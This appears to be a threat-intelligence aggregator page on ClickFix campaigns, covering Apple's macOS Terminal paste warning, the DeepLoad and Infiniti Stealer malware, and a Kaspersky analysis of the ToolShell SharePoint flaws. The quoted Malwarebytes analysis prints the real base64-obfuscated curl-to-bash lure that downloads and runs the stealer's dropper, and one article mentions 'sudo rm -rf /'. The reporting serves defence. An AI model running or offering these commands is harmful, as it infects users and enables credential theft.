Search/Apple adds macOS Terminal warning to block ClickFix attacks
● Story

Apple adds macOS Terminal warning to block ClickFix attacks

A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix. Instead of exploiting a bug, it relies on social engineering. The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware. To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python…

View graph Export
CVEs
0
Highest CVSS
—
In KEV
0
Sources
8
Connections
21 relationships
New DeepLoad Malware Dropped in ClickFix Attacks
A recently discovered malware family capable of stealing credentials and of intercepting browser interactions has been distributed using the ClickFix technique, ReliaQuest reports. Dubbed DeepLoad, the malware first emerged on a dark web cybercrime forum in early February, when ZeroFox saw it advertised as “a centralized panel for multiple types of malware”. The threat was described as capable of replacing cryptocurrency wallet applications and browser extensions with fake variants, of stealing victims’ credentials, and of installing a fraudulent browser extension. “DeepLoad’s design is explicitly focused on actively facilitating real-time cryptocurrency theft, which almost certainly makes it an attractive malware suite in the cybercrime-as-a-service (CaaS) environment,” ZeroFox said in February. Now, ReliaQuest says it observed the first in-the-wild campaign distributing DeepLoad to Windows systems, through the infamous ClickFix technique. As part of the campaign, the victims were served fake browser error messages instructing them to paste a command in Windows Run or a terminal to resolve a fake issue. The command resulted in the persistent execution of a PowerShell loader that dropped DeepLoad on the system. The malware was seen generating the secondary component on the fly, in the form of a DLL dropped in the Temp directory. Compiled on every execution and dropped with a different file name, the DLL evades detection. “The loader also wipes its own tracks by disabling PowerShell command history and calling Windows core functions directly instead of relying on PowerShell’s built-in commands, quietly sidestepping the most common monitoring hooks,” ReliaQuest notes. To blend into trusted Windows activity, DeepLoad was injected inside the legitimate lock screen management process LockAppHost.exe using asynchronous procedure call (APC) injection. ReliaQuest points out that this method allows the malware to evade detection because the injected process is typically not monitored by security tools, and because the payload is executed in memory without a decoded payload written to disk. DeepLoad was designed to steal the victim’s credentials right from the start, through a standalone credential stealer executed alongside the main loader. Credential exfiltration is also separated from the loader’s command-and-control (C&C) communication. Additionally, the malware would drop a rogue browser extension to intercept “everything a user does, putting everything from active logins and open tabs to session tokens and saved passwords at risk,” ReliaQuest notes. The cybersecurity firm also observed the malware spreading via USB drives, although it could not determine whether the functionality was implemented inside DeepLoad or staged by its operator. Related: Venom Stealer Raises Stakes With Continuous Credential Harvesting Related: 900 Sangoma FreePBX Instances Infected With Web Shells Related: ‘DKnife’ Implant Used by Chinese Threat Actor for Adversary-in-the-Middle Attacks Related: VoidLink Linux Malware Framework Targets Cloud Environments
securityweek.comApr 1, 2026extracted
Venom Stealer MaaS Platform Commoditizes ClickFix Attacks
A new service on the cybercrime market provides automated capabilities to create persistent information-stealing social engineering attacks.
darkreading.comApr 1, 2026extracted
DeepLoad Malware Uses ClickFix and WMI Persistence to Steal Browser Credentials
A new campaign has leveraged the ClickFix social engineering tactic as a way to distribute a previously undocumented malware loader referred to as DeepLoad. "It likely uses AI-assisted obfuscation and process injection to evade static scanning, while credential theft starts immediately and captures passwords and sessions even if the primary loader is blocked," ReliaQuest researchers Thassanai McCabe and Andrew Currie said in a report shared with The Hacker News. The starting point of the attack chain is a ClickFix lure that tricks users into running PowerShell commands by pasting the command into the Windows Run dialog under the pretext of addressing a non-existent issue. This, in turn, uses "mshta.exe," a legitimate Windows utility to download and run an obfuscated PowerShell loader. The loader, for its part, has been found to conceal its actual functionality among meaningless variable assignments, likely in an attempt to deceive security tools. It's assessed that the threat actors relied on an artificial intelligence (AI) tool to develop the obfuscation layer. DeepLoad makes deliberate efforts to blend in with regular Windows activity and fly under the radar. This includes hiding the payload within an executable named "LockAppHost.exe," a legitimate Windows process that manages the lock screen. In addition, the malware covers up its own tracks by disabling PowerShell command history and invoking native Windows core functions directly instead of relying on PowerShell's built-in commands to launch processes and modify memory. In doing so, it bypasses common monitoring hooks that keep tabs on PowerShell-based activity. "To evade file-based detection, DeepLoad generates a secondary component on the fly by using the built-in PowerShell feature Add-Type, which compiles and runs code written in C#," ReliaQuest said. "This produces a temporary Dynamic Link Library (DLL) file dropped into the user's Temp directory." This offers a way for the malware to sidestep file name-based detections, as the DLL is compiled every time it's executed and written with a randomized file name. Another notable defense evasion tactic adopted by DeepLoad is the use of asynchronous procedure call (APC) injection to run the main payload inside a trusted Windows process without a decoded payload written to disk after launching the target process in a suspended state, writing shellcode into its memory, and then resuming the execution of the process. DeepLoad is designed to facilitate credential theft by extracting browser passwords from the host. It also drops a malicious browser extension that intercepts credentials as they are being entered on login pages and persists across user sessions unless it's explicitly removed. A more dangerous feature of the malware is its ability to automatically detect when removable media devices like USB drives are connected and copy the malware-laced files using names like "ChromeSetup.lnk," "Firefox Installer.lnk," and "AnyDesk.lnk" so as to trigger the infection once it's doubled-clicked. "DeepLoad used Windows Management Instrumentation (WMI) to reinfect a 'clean' host three days later with no user action and no attacker interaction," ReliaQuest explained. "WMI served two purposes: It broke the parent-child process chains most detection rules are built to catch, and it created a WMI event subscription that quietly re-executed the attack later." The goal, it appears, is to deploy multi-purpose malware that can perform malicious actions across the cyber kill chain and sidestep detection by security controls by avoiding writing artifacts to disk, blending into Windows processes, and spreading quickly to other machines. Exactly when the malware first came to be used in real-world attacks or the overall scale of activity is unknown at this time. However, a ReliaQuest spokesperson told The Hacker News that it's "very new" and that "its delivery via ClickFix suggests it has the potential to spread more broadly." "The infrastructure and templated implementation associated with DeepLoad may be consistent with a service-based or shared framework; however, we can't conclusively determine at this stage whether it's being offered as part of a MaaS [malware-as-a-service] model," the spokesperson added. The disclosure comes as G DATA detailed another malware loader dubbed Kiss Loader that's distributed through Windows Internet Shortcut files (URL) attached to phishing emails, which then connects to a remote WebDAV resource hosted on a TryCloudflare domain to serve a secondary shortcut that masquerades as a PDF document. Once executed, the shortcut launches a WSH script responsible for running a JavaScript component, which proceeds to retrieve and execute a batch script that displays a decoy PDF, sets up persistence in the Startup folder, and downloads the Python-based Kiss Loader. In the final stage, the loader decrypts and runs Venom RAT, an AsyncRAT variant, using APC injection. It's currently not known how widespread attacks deploying Kiss Loader are, and if it's being offered under a malware-as-a-service (MaaS) model. That said, the threat actor behind the loader claims to be from Malawi.
thehackernews.comMar 30, 2026extracted
Apple adds macOS Terminal warning to block ClickFix attacks
Apple has introduced a security feature in macOS Tahoe 26.4 that blocks pasting and executing potentially harmful commands in Terminal and alerts users to possible risks. The new mechanism appears to be aimed primarily at blocking ClickFix attacks and has been reported by macOS users since the release candidate version of the operating system. Apple didn’t specifically mention it in macOS Tahoe 26.4 release notes. ClickFix is a social engineering technique that tricks users into pasting malicious commands into the command line interface under the pretense of fixing a problem or a verification process. Since it is the user who pastes the command, existing security measures are bypassed, and malware can be delivered to the system. To protect users against this type of attack, Apple's latest macOS version delays executing a potentially malicious command in Terminal when the user pastes it, and shows a warning message about the associated risks. The message informs the user that no damage has been done to the system, as the command’s execution was halted, and explains that scammers often distribute malicious instructions through various channels. Users can choose not to paste the command if they don't understand what it does and realize that the instructions came from an untrusted source. They can also ignore the warning and continue the action. However, the latter option is recommended only if they understand the effect of the command. Apple has not published an official support document about this new warning system. Based on user reports, the system displays an alert when users copy commands from Safari and paste them into the Terminal. One user concluded that these warnings are only delivered once per session, as they tested multiple dangerous commands such as sudo rm -rf /, and no alert appeared. Another suggested that some sort of analysis may occur, because pasting innocuous commands didn’t trigger the warning. BleepingComputer has contacted Apple for more information, and we will update this post when we get a response. To defend against ClickFix-based attacks, users of any operating system are strongly advised not to execute commands they find online and do not fully understand what they do. Also, macOS users should not rely completely on Apple's new alerts, as it is currently unclear how the system determines the risk of a pasted command to set off an alarm. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 30, 2026extracted
New macOS security feature will alert users about possible ClickFix attacks
Rumor has it that Apple deployed a new security feature in the fight against ClickFix. The new feature will be available for macOS Tahoe 26.4 and it will warn Mac users if they paste certain commands into the Terminal app that might be harmful. If such a command is pasted, macOS will warn the users with a prompt saying: “Possible malware, Paste blocked. Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.” Reportedly, ClickFix was responsible for more than half of all malware loader activity in 2025. One of the reasons for such success was the fact that the campaigns kept adding—and are continuing to add—new methods to trick users, along with different commands to avoid detection. Generally speaking, ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands which will download malware, usually an information stealer. ClickFix started by targeting Windows computers, writing the malicious commands to the clipboard, but it didn’t take long before campaigns designed to target Mac users started to show up. In the attacks, users are instructed to copy and paste commands to their Mac Terminal, which is where the new security feature will kick in. It is currently unknown which commands exactly trigger the warnings, but that is a good thing since that visibility would make it easier for the malware authors to get around them. How to stay safe MacOS Tahoe users now have an extra layer of protection, as long as they don’t click “Paste Anyway” too quickly even after receiving the security prompt. Malwarebytes Browser Guard users already enjoyed this kind of protection. But with ClickFix running rampant and inventing new methods all the time, it’s important to be aware, careful, and protected. Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly. Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding. Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text. Secure your devices. Use an up-to-date real-time anti-malware solution with a web protection component. Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog! Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard? From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
malwarebytes.comMar 30, 2026extracted
New Infinity Stealer malware grabs macOS data via ClickFix lures
A new info-stealing malware named Infinity Stealer is targeting macOS systems with a Python payload packaged as an executable using the open-source Nuitka compiler. The attack uses the ClickFix technique, presenting a fake CAPTCHA that mimics Cloudflare’s human verification check to trick users into executing malicious code. Researchers at Malwarebytes say this is the first documented macOS campaign combining ClickFix delivery with a Python-based infostealer compiled using Nuitka. Because Nuitka produces a native binary by compiling the Python script into C code, the resulting executable is more resistant to static analysis. Compared to PyInstaller, which bundles Python with bytecode, it’s more evasive because it produces a real native binary with no obvious bytecode layer, making reverse engineering much harder. “The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware,” Malwarebystes says. Attack chain The attack begins with a ClickFix lure on the domain update-check[.]com, posing as a human verification step from Cloudflare and asking the user to complete the challenge by pasting a base64-obfuscated curl command into the macOS Terminal, bypassing OS-level defenses. The command decodes a Bash script that writes the stage-2 (Nuitka loader) to /tmp, then removes the quarantine flag, and executes it via ‘nohup.’ Finally, it passes the command-and-control (C2) and token via environment variables and then deletes itself and closes the Terminal window. The Nuitka loader is an 8.6 MB Mach-O binary that contains a 35MB zstd-compressed archive, containing the stage-3 (UpdateHelper.bin), which is the Infinity Stealer malware. Before starting to collect sensitive data, the malware performs anti-analysis checks to determine whether it is running in a virtualized/sandboxed environment. Malwarebytes’ analysis of the Python 3.11 payload uncovered that the info-stealer can take screenshots and harvest the following data: Credentials from Chromium-based browsers and Firefox macOS Keychain entries Cryptocurrency wallets Plaintext secrets in developer files, such as .env All stolen data is exfiltrated via HTTP POST requests to the C2, and a Telegram notification is sent to the threat actors upon completion of the operation. Malwarebytes underlines that the appearance of malware like Infinity Stealer is proof that threats to macOS users are only getting more advanced and targeted. Users should never paste into Terminal commands they find online and don’t fully understand. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report
bleepingcomputer.comMar 28, 2026extracted
Cloudflare-Themed ClickFix Attack Drops Infiniti Stealer on Macs
macOS users are targeted in a fresh ClickFix campaign that uses a Cloudflare-themed verification page to deliver a Python-based information stealer, Malwarebytes reports. The attack starts with a fake CAPTCHA page that serves a legitimate-looking Cloudflare human verification page asking visitors to paste and execute a command in Terminal. Referred to as ClickFix, the technique relies on social engineering to trick users into executing malicious commands on their devices and has been widely used in attacks since August 2024, mainly against Windows users. For more than half a year, however, attacks tailored for macOS have become increasingly convincing, and the variant observed by Malwarebytes is no different. The fake verification page provides macOS users with specific instructions to open the Terminal and paste and execute a fake verification command that triggers malware execution. Once the victim runs the command, a Bash script is fetched from a remote server. The script decodes an embedded payload, writes the second stage binary to a temporary folder, removes its quarantine flag, and executes it. The script also passes command-and-control (C&C) server and authentication tokens as environment variables, deletes itself, and closes the Terminal. The binary dropped by the script is a loader compiled using Nuitka. The compiler transforms Python code into a native binary, making static analysis more difficult. At runtime, the loader decompresses embedded data and launches the final payload, identified as the Infiniti Stealer malware. The Python-based information stealer targets browser credentials, Keychain information, cryptocurrency wallets, secrets stored in developer files, and screenshots captured during execution. The data is sent to the C&C via HTTP POST requests. Once the operation has been completed, the malware sends a notification to a Telegram channel and queues captured credentials to be cracked on the server. For evasion, Infiniti Stealer relies on randomized execution delay and checks if the system is a known analysis environment. “Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users. It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this,” Malwarebytes notes. Related: Over 100 GitHub Repositories Distributing BoryptGrab Stealer Related: ‘SolyxImmortal’ Information Stealer Emerges Related: North Korean Hackers Target macOS Developers via Malicious VS Code Projects Related: MacSync macOS Malware Distributed via Signed Swift Application
securityweek.comMar 28, 2026extracted
Infiniti Stealer: a new macOS infostealer using ClickFix and Python/Nuitka
A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix. Instead of exploiting a bug, it relies on social engineering. The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware. To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python stealer. ClickFix: social engineering instead of exploits ClickFix doesn’t rely on software vulnerabilities. Instead, it relies on convincing the user to run a command themselves. A fake verification page instructs the visitor to open Terminal, paste a command, and press Return. Once executed, the infection process begins immediately. The technique gained popularity on Windows systems, but it’s now being adapted for macOS, with the instructions tailored to the platform: Command + Space > open Terminal > paste the command Because the user runs the command directly, many traditional defenses are bypassed. There’s no exploit, no malicious attachment, and no drive‑by download. Fake CAPTCHA Delivery The infection begins at update-check[.]com, which serves a convincing replica of a Cloudflare human verification page. The page instructs the user to paste a verification command into Terminal:bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode)) Once decoded, the string resolves to a URL hosted on the same domain that returns the first stage dropper script. Stage 1: Bash Dropper The first payload is a Bash script using a template previously observed in macOS stealers such as MacSync (also referenced as SHub in earlier research). This suggests the use of a shared builder. Its responsibilities are straightforward: Decode the embedded payload Write the Stage‑2 binary to /tmp Remove the quarantine flag using xattr -dr com.apple.quarantine Execute the binary via nohup Pass the command-and-control (C2) server and authentication token as environment variables Delete itself and close Terminal via AppleScript Stage 2: Nuitka Loader The dropped binary is an Apple Silicon Mach-O executable (~8.6 MB). compiled using Nuitka’s onefile mode. Its header contains the signature: 4b 41 59 28 b5 2f fd This corresponds to a KAY ( header followed by a zstd-compressed archive used by Nuitka to package Python applications. Unlike PyInstaller, Nuitka compiles Python source into C and produces a native binary, increasing the complexity of static analysis. At runtime the loader decompresses roughly 35 MB of embedded data and launches the final payload. Stage 3: Python Stealer Payload The final payload, UpdateHelper[.]bin, is a Python 3.11 stealer compiled with Nuitka. Despite compilation, the binary exposes thousands of named symbols, allowing its module structure to be reconstructed during analysis. The stealer targets a wide range of sensitive data: Credentials from Chromium‑based browsers and Firefox macOS Keychain entries Cryptocurrency wallets Plaintext secrets in developer files such as .env Screenshots captured during execution Data is exfiltrated using HTTP POST requests. Before beginning data collection, the malware checks whether it is running inside known analysis environments, including: any.run Joe Sandbox Hybrid Analysis VMware VirtualBox In also introduces a randomized execution delay to evade automated analysis systems. When exfiltration completes, a function named upload_complete() sends a Telegram notification to the operator and queues captured credentials for server‑side password cracking. What to do if you think you’ve been affected The perception that macOS is a low‑risk malware target continues to fade. Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users. It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this. If you followed instructions like this or pasted commands into Terminal from a website, take action right away: Stop using the device for sensitive activity (banking, email, work accounts). Change your passwords on a clean device, starting with email, banking, and Apple ID. Revoke access: log out of active sessions, and revoke API tokens and SSH keys Check for suspicious files in /tmp and~/Library/LaunchAgents/ Run a full Malwarebytes scan to detect and remove any remaining malware. Remember: Do not paste commands into Terminal from websites. No legitimate CAPTCHA requires this. Indicators of Compromise (IOCs) Acknowledgements With thanks to Marcelo Rivero for the binary analysis. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
malwarebytes.comMar 26, 2026extracted
Related Stories
6
Cloudflare-Themed ClickFix Attack Drops Infiniti Stealer on Macs
A previously undocumented macOS infostealer has surfaced during our routine threat hunting. We initially tracked it as NukeChain, but shortly before publication, the malware’s operator panel became publicly visible, revealing its real name: Infiniti Stealer. This malware is designed to steal sensitive data from Macs. It spreads through a fake CAPTCHA page that tricks users into running a command themselves: a technique known as ClickFix. Instead of exploiting a bug, it relies on social engineering. The final payload is written in Python and compiled with Nuitka, producing a native macOS binary. That makes it harder to analyze and detect than typical Python-based malware. To our knowledge, this is the first documented macOS campaign combining ClickFix delivery with a Nuitka-compiled Python stealer. ClickFix: social engineering instead of exploits ClickFix doesn’t rely on software vulnerabilities. Instead, it relies on convincing the user to run a command themselves. A fake verification page instructs the visitor to open Terminal, paste a command, and press Return. Once executed, the infection process begins immediately. The technique gained popularity on Windows systems, but it’s now being adapted for macOS, with the instructions tailored to the platform: Command + Space > open Terminal > paste the command Because the user runs the command directly, many traditional defenses are bypassed. There’s no exploit, no malicious attachment, and no drive‑by download. Fake CAPTCHA Delivery The infection begins at update-check[.]com, which serves a convincing replica of a Cloudflare human verification page. The page instructs the user to paste a verification command into Terminal:bash <(curl -sSfL $(echo aHR0cHM6Ly91cGRhdGUtY2hlY2suY29tL20vN2Q4ZGYyN2Q5NWQ5 | base64 --decode)) Once decoded, the string resolves to a URL hosted on the same domain that returns the first stage dropper script. Stage 1: Bash Dropper The first payload is a Bash script using a template previously observed in macOS stealers such as MacSync (also referenced as SHub in earlier research). This suggests the use of a shared builder. Its responsibilities are straightforward: Decode the embedded payload Write the Stage‑2 binary to /tmp Remove the quarantine flag using xattr -dr com.apple.quarantine Execute the binary via nohup Pass the command-and-control (C2) server and authentication token as environment variables Delete itself and close Terminal via AppleScript Stage 2: Nuitka Loader The dropped binary is an Apple Silicon Mach-O executable (~8.6 MB). compiled using Nuitka’s onefile mode. Its header contains the signature: 4b 41 59 28 b5 2f fd This corresponds to a KAY ( header followed by a zstd-compressed archive used by Nuitka to package Python applications. Unlike PyInstaller, Nuitka compiles Python source into C and produces a native binary, increasing the complexity of static analysis. At runtime the loader decompresses roughly 35 MB of embedded data and launches the final payload. Stage 3: Python Stealer Payload The final payload, UpdateHelper[.]bin, is a Python 3.11 stealer compiled with Nuitka. Despite compilation, the binary exposes thousands of named symbols, allowing its module structure to be reconstructed during analysis. The stealer targets a wide range of sensitive data: Credentials from Chromium‑based browsers and Firefox macOS Keychain entries Cryptocurrency wallets Plaintext secrets in developer files such as .env Screenshots captured during execution Data is exfiltrated using HTTP POST requests. Before beginning data collection, the malware checks whether it is running inside known analysis environments, including: any.run Joe Sandbox Hybrid Analysis VMware VirtualBox In also introduces a randomized execution delay to evade automated analysis systems. When exfiltration completes, a function named upload_complete() sends a Telegram notification to the operator and queues captured credentials for server‑side password cracking. What to do if you think you’ve been affected The perception that macOS is a low‑risk malware target continues to fade. Infiniti Stealer shows how techniques that worked on Windows—like ClickFix—are now being adapted to target Mac users. It also uses newer techniques, like compiling Python into native apps, which makes the malware harder to detect and analyze. If this approach proves effective, we may see more attacks like this. If you followed instructions like this or pasted commands into Terminal from a website, take action right away: Stop using the device for sensitive activity (banking, email, work accounts). Change your passwords on a clean device, starting with email, banking, and Apple ID. Revoke access: log out of active sessions, and revoke API tokens and SSH keys Check for suspicious files in /tmp and~/Library/LaunchAgents/ Run a full Malwarebytes scan to detect and remove any remaining malware. Remember: Do not paste commands into Terminal from websites. No legitimate CAPTCHA requires this. Indicators of Compromise (IOCs) Acknowledgements With thanks to Marcelo Rivero for the binary analysis. From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
10 shared
Mar 28, 2026
US Tops Hit List as 396 SharePoint Systems Compromised Globally
On July 19–20, 2025, various security companies and national CERTs published alerts about active exploitation of on-premise SharePoint servers. According to the reports, observed attacks did not require authentication, allowed attackers to gain full control over the infected servers, and were performed using an exploit chain of two vulnerabilities: CVE-2025-49704 and CVE-2025-49706, publicly named “ToolShell”. Additionally, on the same dates, Microsoft released out-of-band security patches for the vulnerabilities CVE-2025-53770 and CVE-2025-53771, aimed at addressing the security bypasses of previously issued fixes for CVE-2025-49704 and CVE-2025-49706. The release of the new, “proper” updates has caused confusion about exactly which vulnerabilities attackers are exploiting and whether they are using zero-day exploits. Kaspersky products proactively detected and blocked malicious activity linked to these attacks, which allowed us to gather statistics about the timeframe and spread of this campaign. Our statistics show that widespread exploitation started on July 18, 2025, and attackers targeted servers across the world in Egypt, Jordan, Russia, Vietnam, and Zambia. Entities across multiple sectors were affected: government, finance, manufacturing, forestry, and agriculture. While analyzing all artifacts related to these attacks, which were detected by our products and public information provided by external researchers, we found a dump of a POST request that was claimed to contain the malicious payload used in these attacks. After performing our own analysis, we were able to confirm that this dump indeed contained the malicious payload detected by our technologies, and that sending this single request to an affected SharePoint installation was enough to execute the malicious payload there. Our analysis of the exploit showed that it did rely on vulnerabilities fixed under CVE-2025-49704 and CVE-2025-49706, but by changing just one byte in the request, we were able to bypass those fixes. In this post, we provide detailed information about CVE-2025-49704, CVE-2025-49706, CVE-2025-53770, CVE-2025-53771, and one related vulnerability. Since the exploit code is already published online, is very easy to use, and poses a significant risk, we encourage all organizations to install the necessary updates. The exploit Our research started with an analysis of a POST request dump associated with this wave of attacks on SharePoint servers. We can see that this POST request targets the “/_layouts/15/ToolPane.aspx” endpoint and embeds two parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. Looking at the code of ToolPane.aspx, we can see that this file itself does not contain much functionality and most of its code is located in the ToolPane class of the Microsoft.SharePoint.WebPartPages namespace in Microsoft.SharePoint.dll. Looking at this class reveals the code that works with the two parameters present in the exploit. However, accessing this endpoint under normal conditions is not possible without bypassing authentication on the attacked SharePoint server. This is where the first Microsoft SharePoint Server Spoofing Vulnerability CVE-2025-49706 comes into play. CVE-2025-49706 This vulnerability is present in the method PostAuthenticateRequestHandler, in Microsoft.SharePoint.dll. SharePoint requires Internet Information Services (IIS) to be configured in integrated mode. In this mode, the IIS and ASP.NET authentication stages are unified. As a result, the outcome of IIS authentication is not determined until the PostAuthenticateRequest stage, at which point both the ASP.NET and IIS authentication methods have been completed. Therefore, the PostAuthenticateRequestHandler method utilizes a series of flags to track potential authentication violations. A logic bug in this method enables an authentication bypass if the “Referrer” header of the HTTP request is equal to “/_layouts/SignOut.aspx”, “/_layouts/14/SignOut.aspx”, or “/_layouts/15/SignOut.aspx” using case insensitive comparison. The code displayed in the image above handles the sign-out request and is also triggered when the sign-out page is specified as the referrer. When flag6 is set to false and flag7 is set to true, both conditional branches that could potentially throw an “Unauthorized Access” exception are bypassed. On July 8, 2025, Microsoft released an update that addressed this vulnerability by introducing additional checks to detect the usage of the “ToolPane.aspx” endpoint with the sign-out page specified as the referrer. The added check uses case insensitive comparison to verify if the requested path ends with “ToolPane.aspx”. Is it possible to bypass this check, say, by using a different endpoint? Our testing has shown that this check can be easily bypassed. CVE-2025-53771 We were able to successfully bypass the patch for vulnerability CVE-2025-49706 by adding just one byte to the exploit POST request. All that was required to bypass this patch was to add a “/” (slash) to the end of the requested “ToolPane.aspx” path. On July 20, 2025, Microsoft released an update that fixed this bypass as CVE-2025-53771. This fix replaces the “ToolPane.aspx” check to instead check whether the requested path is in the list of paths allowed for use with the sign-out page specified as the referrer. This allowlist includes the following paths: “/_layouts/15/SignOut.aspx”, “/_layouts/15/1033/initstrings.js”, “/_layouts/15/init.js”, “/_layouts/15/theming.js”, “/ScriptResource.axd”, “/_layouts/15/blank.js”, “/ScriptResource.axd”, “/WebResource.axd”, “/_layouts/15/1033/styles/corev15.css”, “/_layouts/15/1033/styles/error.css”, “/_layouts/15/images/favicon.ico”, “/_layouts/15/1033/strings.js”, “/_layouts/15/core.js”, and it can contain additional paths added by the administrator. While testing the CVE-2025-49706 bypass with the July 8, 2025 updates installed on our SharePoint debugging stand, we noticed some strange behavior. Not only did the bypass of CVE-2025-49706 work, but the entire exploit chain did! But wait! Didn’t the attackers use an additional Microsoft SharePoint Remote Code Execution Vulnerability CVE-2025-49704, which was supposed to be fixed in the same update? To understand why the entire exploit chain worked in our case, let’s take a look at the vulnerability CVE-2025-49704 and how it was fixed. CVE-2025-49704 CVE-2025-49704 is an untrusted data deserialization vulnerability that exists due to improper validation of XML content. Looking at the exploit POST request, we can see that it contains two URL encoded parameters: “MSOtlPn_Uri” and “MSOtlPn_DWP”. We can see how they are handled by examining the code of the method GetPartPreviewAndPropertiesFromMarkup in Microsoft.SharePoint.dll. A quick analysis reveals that “MSOtlPn_Uri” is a page URL that might be pointing to an any file in the CONTROLTEMPLATES folder and the parameter “MSOtlPn_DWP” contains something known as WebPart markup. This markup contains special directives that can be used to execute safe controls on a server and has a format very similar to XML. While this “XML” included in the “MSOtlPn_DWP” parameter does not itself contain a vulnerability, it allows attackers to instantiate the ExcelDataSet control from Microsoft.PerformancePoint.Scorecards.Client.dll with CompressedDataTable property set to malicious payload and trigger its processing using DataTable property getter. Looking at the code of the ExcelDataSet’s DataTable property getter in Microsoft.PerformancePoint.Scorecards.Client.dll, we find the method GetObjectFromCompressedBase64String, responsible for deserialization of CompressedDataTable property contents. The data provided as Base64 string is decoded, unzipped, and passed to the BinarySerialization.Deserialize method from Microsoft.SharePoint.dll. Attackers use this method to provide a malicious DataSet whose deserialized content is shown in the image above. It contains an XML with an element of dangerous type "System.Collections.Generic.List1[[System.Data.Services.Internal.ExpandedWrapper2[...], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]", which allows attackers to execute arbitrary methods with the help of the well-known ExpandedWrapper technique aimed at exploitation of unsafe XML deserialization in applications based on the .NET framework. In fact, this shouldn’t be possible, since BinarySerialization.Deserialize in Microsoft.SharePoint.dll uses a special XmlValidator designed to protect against this technique by checking the types of all elements present in the provided XML and ensuring that they are on the list of allowed types. However, the exploit bypasses this check by placing the ExpandedWrapper object into the list. Now, to find out why the exploit worked on our SharePoint debugging stand with the July 8, 2025 updates installed, let’s take a look at how this vulnerability was fixed. In this patch, Microsoft did not really fix the vulnerability but only mitigated it by adding the new AddExcelDataSetToSafeControls class to the Microsoft.SharePoint.Upgrade namespace. This class contains new code that modifies the web.config file and marks the Microsoft.PerformancePoint.Scorecards.ExcelDataSet control as unsafe. Because SharePoint does not execute this code on its own after installing updates, the only way to achieve the security effect was to manually run a configuration upgrade using the SharePoint Products Configuration Wizard tool. Notably, the security guidance for CVE-2025-49704 does not mention the need for this step, which means at least some SharePoint administrators may skip it. Meanwhile, anyone who installed this update but did not manually perform a configuration upgrade remained vulnerable. CVE-2025-53770 On July 20, 2025, Microsoft released an update with a proper fix for the CVE-2025-49704 vulnerability. This patch introduces an updated XmlValidator that now properly validates element types in XML, preventing exploitation of this vulnerability without requiring a configuration upgrade and, more importantly, addressing the root cause and preventing exploitation of the same vulnerability through controls other than Microsoft.PerformancePoint.Scorecards.ExcelDataSet. CVE-2020-1147 Readers familiar with previous SharePoint exploits might feel that the vulnerability CVE-2025-49704/CVE-2025-53770 and the exploit used by the attackers looks very familiar and very similar to the older .NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability CVE-2020-1147. In fact, if we compare the exploit for CVE-2020-1147 and an exploit for CVE-2025-49704/CVE-2025-53770, we can see that they are almost identical. The only difference is that in the exploit for CVE-2025-49704/CVE-2025-53770, the dangerous ExpandedWrapper object is placed in the list. This makes CVE-2025-53770 an updated fix for CVE-2020-1147. Conclusions Despite the fact that patches for the ToolShell vulnerabilities are now available for deployment, we assess that this chain of exploits will continue being used by attackers for a long time. We have been observing the same situation with other notorious vulnerabilities, such as ProxyLogon, PrintNightmare, or EternalBlue. While they have been known for years, many threat actors still continue leveraging them in their attacks to compromise unpatched systems. We expect the ToolShell vulnerabilities to follow the same fate, as they can be exploited with extremely low effort and allow full control over the vulnerable server. To stay better protected against threats like ToolShell, we as a community should learn lessons from previous events in the industry related to critical 